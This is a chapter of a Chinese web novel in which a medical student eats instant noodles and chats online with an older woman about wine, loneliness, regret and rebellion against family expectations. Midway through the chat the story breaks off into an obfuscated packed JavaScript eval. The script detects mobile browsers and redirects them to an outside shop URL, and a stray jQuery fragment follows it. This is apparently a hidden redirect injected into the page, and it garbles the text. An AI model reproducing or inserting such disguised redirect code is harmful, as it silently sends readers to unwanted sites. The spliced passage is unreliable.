周五晚上八点，薛耀溪盯着桌上那桶泡面——红烧牛肉味，经典款，开水注入三分钟后塑料叉子插在纸盖上，像某种简陋的祭品。


    这是他本周第七桶泡面。徐燕风制定的假期活动安排表密集得像蜂窝煤的孔洞，而他的烹饪技能停留在“能把水烧开”这一奇迹阶段。他们都跑出去撒疯撒野了，宿舍乃至整个宿舍楼成了他一个人的王国——如果堆满脏衣服和空饮料瓶的十平米能称为王国的话。


    手机屏幕亮着，月影的对话框在最上面。


    她十分钟前说：“刚开了一瓶82年的拉菲。它在橡木桶里沉睡的时候，你还没出生呢。”


    薛耀溪看着这句话，又看看自己面前的泡面。塑料碗边缘渗出的油渍，在台灯下泛着廉价的光泽。


    他打字：“我在吃泡面。红烧牛肉味，据说是‘经典风味’，但我怀疑他们搞错了‘经典’的定义——可能是指‘经典地难吃’。”


    发送。然后他揭开泡面盖，蒸汽糊了一脸。他吹了吹，卷起一叉子面条，塞进嘴里。


    味道……确实是经典的红烧牛肉味，一种工业化的、标准化的、与真实牛肉关系暧昧的咸鲜。就像他的生活：（未来）标准化的医学院课程，（未来）标准化的家族期望，标准化的未来规划——红烧牛肉味的人生。


    手机震动。


    “月影：（大笑表情）泡面是单身汉的勋章。我大学时也吃过，记得有个牌子叫‘幸运面’，吃完之后我食物中毒了——一点都不幸运。”


    “溪流：那你现在吃什么？”


    “月流：在吃回忆。还有这块干酪——48个月陈化的曼彻格，咸得像某个失恋的眼泪。”


    “溪流：你好像总拿食物比喻感情。”


    “月影：因为两者都会变质，只是时间问题。泡面变质要三年，爱情有时候只要三天。”


    薛耀溪笑了，又卷起一叉子面条。这次他仔细品尝——面体已经有点软了，吸水过度。像他最近的脑子，被知识灌得太满，快要失去弹性。


    “溪流：但泡面至少诚实。包装上就写着‘图片仅供参考’，不像有些人，表面光鲜，内里……”


    “月影：内里也是泡面？哦亲爱的，你太悲观了。有些人内里是法式鹅肝，只是装在了塑料碗里。”


    “溪流：那你呢？你是什么？”


    “月影：我大概是……放了太久的红酒。曾经香醇，现在有点醋味，但有人就爱这一口。”


    薛耀溪想象她坐在某个高级公寓里，穿着丝绸睡衣，摇晃红酒杯的样子。背景也许是落地窗，窗外是城市夜景。而他现在穿着三天没洗的T恤，坐在宿舍里，听着隔壁打游戏的吼叫声。


    两个世界。隔着屏幕，也隔着人生。


    月影发来一张照片：一只纤细的手握着红酒杯，杯中酒液在灯光下是深宝石红色。背景虚化，但能看到皮质沙发的一角，和茶几上摊开的书。


    “月影：看挂杯。酒泪很慢，说明酒体饱满。香气……黑醋栗，雪松，一点点皮革和烟草。82年的拉菲就是这样——年轻时候张扬，现在沉稳了，但骨子里还是骄傲的。”


    “溪流：你能喝出这么多味道？”


    “月影：能，也能装。品酒一半靠舌头，一半靠演技。就像人生，一半靠实力，一半靠吹牛。”


    “溪流：那我该学品酒吗？”


    “月影：先学会品泡面吧。告诉我，你的红烧牛肉面有什么‘风味层次’？”


    薛耀溪认真地看着泡面桶。他平时都是三分钟速战速决，从没“品鉴”过。


    他打字：“第一层：开盖瞬间的化学香气，像某种工业革命的余韵。第二层：入口时的咸，但不是海盐的咸，是实验室里合成的咸。第三层：咽下去之后的味精回味，在舌根逗留，提醒你刚才吃了不健康的东西。”


    “月影：精彩。你漏了第四层：吃完后的空虚感，和第五层：对明天还要吃它的恐惧。”


    “溪流：你怎么知道？”


    “月影：因为我曾经连续吃了两周泡面，为了买一张去冰岛的机票。后来到了冰岛，发现那里一碗意面要30欧元——我后悔了，应该多吃两周泡面。”


    薛耀溪大笑，差点把泡面汤洒在键盘上。


    “溪流：你为什么要去冰岛？”


    “月影：因为听说那里能看到极光。我去了，等了五天，最后一天极光出现了——很淡，像上帝忘了擦掉的粉笔印。我站在零下十度的风里，想：我花了这么多钱，吃了那么多泡面，就为了看这个？”


    “溪流：然后呢？”


    “月影：然后我哭了。不是因为失望，是因为我突然明白，追求的过程比结果更真实。泡面的味道，攒钱的焦虑，熬夜查攻略的兴奋——这些都比那片模糊的绿光更让我记得。”


    薛耀溪停下打字。他看着这段话，感觉胸口被什么东西轻轻撞了一下。


    他想起自己为什么学医——不是因为热爱，是因为父亲说“这是最好的选择”。他想起自己为什么弹吉他——偷偷的，在床垫下藏着的，三个和弦反复弹，不是因为想成为音乐家，是因为那三个和弦发出声音时，他感觉自己是活着的。


    “溪流：我有时候觉得，我的人生就是一碗泡面。看起来很充实，实际上都是调味粉撑起来的。”


    “月影：那就换种口味。或者，自己煮面。”


    “溪流：我不会。”


    “月影：学。就像我学品酒，学看极光，学在无聊的宴会上假装开心。没有人天生就会生活，我们都是后天练习的骗子。”


    薛耀溪看着“骗子”这个词。月影总用这种词形容自己，带着自嘲和坦然。


    他突然问：“月影，你是做什么的？真的。”


    对话框显示“对方正在输入…”，持续了很长时间。然后：


    “月影：我是个专业的观察者。看人，看事，看世界如何运转。有时候我会写点东西，有时候我会投资点项目，有时候我什么都不做，只是看。这工作没有头衔，没有固定收入，但让我看到很多真相——和很多谎言。”


    “溪流：听起来很自由。”


    “月影：自由是相对的。我能飞去任何地方，但总要回到某个地方。我能喝82年的拉菲，但也会怀念3块钱的泡面。人生就是这样，小狼狗——你得到一些，就怀念另一些。”


    薛耀溪喝掉最后一口汤——已经凉了，油凝结在表面，像一层黄色的薄膜。


    他打字：“如果我告诉你，我今天逃课了，你会觉得我堕落了吗？”


    下午两点，薛耀溪走出圣保罗院区，拐进了后门的小巷。


    那里有一家24小时便利店，他走进去，在货架前徘徊了十五分钟。最后买了：一桶泡面（就是现在吃的这桶），一包薯片，一瓶可乐，和一本漫画杂志。


    收银员是个五十多岁的阿姨，看了他一眼：“考试完放假了？睡懒觉？”


    薛耀溪愣住。


    “我在这工作十年了，”阿姨一边扫码一边说，“这个时间点来买零食的学生，十个有九个是睡懒觉的。很多还是老师。”


    薛耀溪尴尬地笑。


    “没事，年轻人，”阿姨把袋子递给他，“睡懒觉死不了人。我儿子以前也喜欢睡懒觉，现在是个程序员，赚得比我多。所以谁知道呢？”薛耀溪拎着袋子回到院区，没有回宿舍，而是去了学校后面的小公园。他在长椅上坐下，打开薯片，翻开漫画，听着风吹树叶的声音。


    很简单的事。但对他来说，像一次革命。


    没有父亲的安排，没有教授的监督，没有“该做什么”的清单。只有他，薯片，和一本幼稚的漫画。


    他看了三页，突然哭了。没有原因，就是眼泪自己流下来。


    然后他擦干眼泪，继续吃薯片。像个神经病。


    现在，他把这件事告诉了月影。


    “月影：逃课去便利店？哦宝贝儿，这连‘堕落’的门槛都够不着。真正的堕落至少得涉及非法药物、巨额赌债或者至少三个人的感情纠纷。”


    “溪流：……你经验很丰富？”


    “月影：观察经验。我认识一个人，他所谓的‘叛逆’是把父亲的法拉利开去飙车，结果撞了，赔了五十万，然后乖乖回家继承家业。你那点薯片算什么？”


    薛耀溪笑了，但心里有点失落。原来自己的“叛逆”这么廉价。


    “月影：但你知道吗？我最佩服的‘叛逆’，恰恰是这种小事。因为大事容易——轰轰烈烈，有观众，有戏剧性。但小事的叛逆需要每天坚持，没人鼓掌，只有你自己知道。比如每天少吃一块巧克力，每天多说一句‘不’，每天……允许自己哭一次。”


    薛耀溪盯着这段话。屏幕的光映在他眼睛里。


    “溪流：我今天哭了。在公园长椅上。”


    “月影：为什么？”


    “溪流：不知道。就是突然觉得……累。装得很累。”


    “月影：那就别装了。至少在我面前。”


    薛耀溪靠在椅子上，宿舍的灯光昏暗，泡面碗已经空了，房间里只有键盘敲击声和他自己的呼吸声。


    他打字：“月影，我能问你一个问题吗？真实的。”


    “月影：问。但我不保证真实回答。”


    “溪流：你快乐吗？”


    这次，“对方正在输入…”显示了整整一分钟。长到薛耀溪以为她不会回答了。


    然后：


    “月影：有时候。当我喝到好酒的时候，当我看到美丽风景的时候，当我遇到有趣的人的时候——比如你。但大多数时候，我只是……清醒地活着。快乐是甜点，不是主食。”


    “溪流：那主食是什么？”


    “月影：责任。谎言。还有……记忆。”


    薛耀溪不太懂，但他感觉到这话里的重量。像她手中的红酒，看起来很轻，实际上装满了时间的沉淀。


    “溪流：我希望你快乐。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962997|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月影：（发送一个摸头的表情）小狼狗，你太甜了。但谢谢。现在轮到我问你：你希望自己成为什么样的人？”


    薛耀溪看着这个问题，手指悬在键盘上。


    他希望成为什么样的人？


    不是父亲期望的医生。不是社会定义的精英。也许……就是一个可以自由选择今晚吃泡面还是吃大餐的人。一个可以说“不”而不用道歉的人。一个可以哭而不用觉得羞耻的人。


    他打字：“我想成为……不后悔的人。”


    “月影：那是最高难度的人生模式。因为后悔不是做错事，而是‘如果当初’。”


    “溪流：那怎么办？”


    “月影：在做选择的时候，就假设自己会后悔。然后问：即使后悔，我还会这么做吗？如果答案是‘会’，那就做。至少后悔的时候，你能说‘我活该’。”


    薛耀溪笑了。这逻辑很扭曲，但很有说服力。


    “溪流：那你后悔过吗？”


    “月影：每天都在后悔。后悔没多喝一杯，后悔说了某句话，后悔没吻某个人。但我也庆幸——庆幸没喝醉到失态，庆幸有些话没说出口，庆幸没吻错人。后悔和庆幸是一对双胞胎，你永远分不清哪个先出生。”


    深夜十一点，何念曦回来了，路过他房间，


    “今晚尹教官请客你没去？”室友看到他桌上的泡面桶，“他点名了，我说你有你的私人活动——他看了我一眼，没说话。”


    “谢谢。”薛耀溪真诚地说。


    “没事，”室友脱掉外套，“不过你下次缺席，至少去图书馆装装样子。他不傻，到底也是从学生过来的，他懂。但面子要给。”薛耀溪点头。这就是医学院的潜规则：教官请客你可以不去，但撒谎要有技术含量。


    何念曦走后，薛耀溪戴上耳机，继续和月影聊天。


    话题从人生哲学滑到了具体的生活。月影说她下周要去巴黎，“参加一个无聊的艺术展，但那里的奶酪值得专门飞去”。薛耀溪说他下周有英语强化培训班考试，“如果挂科，我爸可能会把我送到军事化管理的补习班——那地方据说连上厕所都要计时”。


    “月影：那你就别挂科。”


    “溪流：说得容易。”


    “月影：不容易，但能做到。听着，小狼狗：反抗不是自毁前程。真正的反抗是——我按你们的规则赢，但用我的方式。你考好，然后告诉你爸‘我做到了，但我不快乐’。这比考砸了说‘我不适合’更有杀伤力。”


    “溪流：为什么？”


    “月影：因为考砸了，他们会说‘你不努力’。考好了但说不快乐，他们会不知所措——这是他们规则里的漏洞。”


    薛耀溪思考着这句话。像在黑暗中看到一束光。


    “月影：好了，我真的该睡了。明天要早起赶飞机。”


    “溪流：等等——下周的视频通话，还作数吗？”


    “月影：如果你准备好了你的秘密。”


    “溪流：我准备好了。但你的呢？”


    “月影：我的秘密是……我其实不爱喝红酒。太涩了。但我喜欢拿着酒杯的感觉——像个成年人该有的样子。有时候，样子比实质更重要。”


    “溪流：这也是谎言吗？”


    “月影：这是生存。晚安，宝贝儿。祝你的泡面明天换个口味。”


    她下线了。


    薛耀溪摘下耳机，宿舍里只有室友轻微的鼾声。他走到窗边，看向外面。圣保罗医院的灯光在夜色中像一艘巨大的船。而医学院这边，宿舍楼零星亮着几盏灯——是和他一样熬夜的人。两个世界，一排树之隔。月影在某个遥远的地方喝着拉菲，他在这里吃泡面。但刚才那几个小时，他们好像在同一个房间里对话。


    这就是网络的魔力？还是孤独的错觉？


    他不知道。


    但他知道，下周的视频通话，他要告诉月影一个秘密。


    也许不是最大的秘密，但是真的。比如他床垫下的吉他。比如他其实害怕尸体。比如他曾经偷偷把父亲的西装剪破了一个口子，然后又缝起来——针脚很丑，但父亲一直没发现。


    他会说出来的。


    因为月影说得对：真实的人性比任何小说都精彩。


    即使真实有时候很狼狈，像洒在键盘上的泡面汤，干了之后黏糊糊的，擦不干净。


    薛耀溪清理了泡面桶，刷牙洗脸，躺回床上。


    闭上眼睛前，他想：明天要去便利店换个口味。也许试试海鲜味？虽然大概率也是“图片仅供参考”。


    但至少，这是他的选择：一个男孩因为一碗泡面思考人生，一个女人因为一杯红酒讲述谎言。他们都活在各自的笼子里，但通过网络，他们隔着笼子的栏杆，碰了碰手指。


    也许这就是现代人的亲密：不是真实的拥抱，是虚拟的理解。


    不是红酒配牛排，是拉菲配红烧牛肉面。


    荒诞，但真实。


    就像人生。